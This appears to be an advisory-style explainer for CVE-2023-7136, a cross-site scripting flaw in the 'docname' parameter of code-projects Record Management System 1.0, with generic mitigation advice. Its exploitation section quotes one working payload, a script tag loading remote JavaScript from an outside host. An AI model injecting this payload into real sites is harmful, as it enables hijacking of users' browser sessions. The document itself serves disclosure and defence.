CVE-2023-7136 Explained : Impact and Mitigation

This CVE-2023-7136 relates to a cross-site scripting vulnerability found in the code-projects Record Management System version 1.0, specifically affecting the Document Type Handler component.

Understanding CVE-2023-7136

This section delves into the details of the CVE-2023-7136 vulnerability, understanding its impact, technical aspects, and measures for mitigation and prevention.

What is CVE-2023-7136?

The vulnerability in question involves a cross-site scripting flaw within the Document Type Handler component of code-projects Record Management System 1.0. By manipulating the 'docname' argument with malicious input, an attacker could execute arbitrary scripts remotely, making it a potentially severe security risk.

The Impact of CVE-2023-7136

With a base severity score of 2.4 (Low), this vulnerability allows an attacker to inject and execute malicious scripts, posing a risk of sensitive information exposure, data tampering, and potential unauthorized access to the affected system.

Technical Details of CVE-2023-7136

Here are the technical specifics of the CVE-2023-7136 vulnerability:

Vulnerability Description

The vulnerability resides in the file /main/doctype.php of the Document Type Handler component within code-projects Record Management System 1.0. The issue stems from improper handling of user input, allowing for the execution of arbitrary scripts.

Affected Systems and Versions

The affected system is the code-projects Record Management System version 1.0, specifically impacting the Document Type Handler component.

Exploitation Mechanism

By manipulating the 'docname' argument with a specially crafted input, such as "><script src="https://js.rip/b23tmbxf49"></script>, threat actors can conduct cross-site scripting attacks remotely, thereby compromising system security.

Mitigation and Prevention

To address and mitigate the CVE-2023-7136 vulnerability, the following steps should be taken:

Immediate Steps to Take

Implement Input Validation: Ensure rigorous input validation practices to sanitize user inputs and prevent malicious scripts from being executed.
Update and Patch: Apply relevant security patches provided by the vendor to fix the vulnerability and protect the system from exploitation.

Long-Term Security Practices

Regular Security Audits: Conduct routine security audits to identify and address vulnerabilities proactively.
Security Training: Educate system administrators and users on secure coding practices and the dangers of cross-site scripting vulnerabilities.
Security Monitoring: Implement continuous security monitoring to detect and respond to potential threats promptly.

Patching and Updates

Stay informed about security updates and patches released by code-projects for the Record Management System. Regularly apply these updates to ensure that known vulnerabilities are addressed promptly and system security remains intact.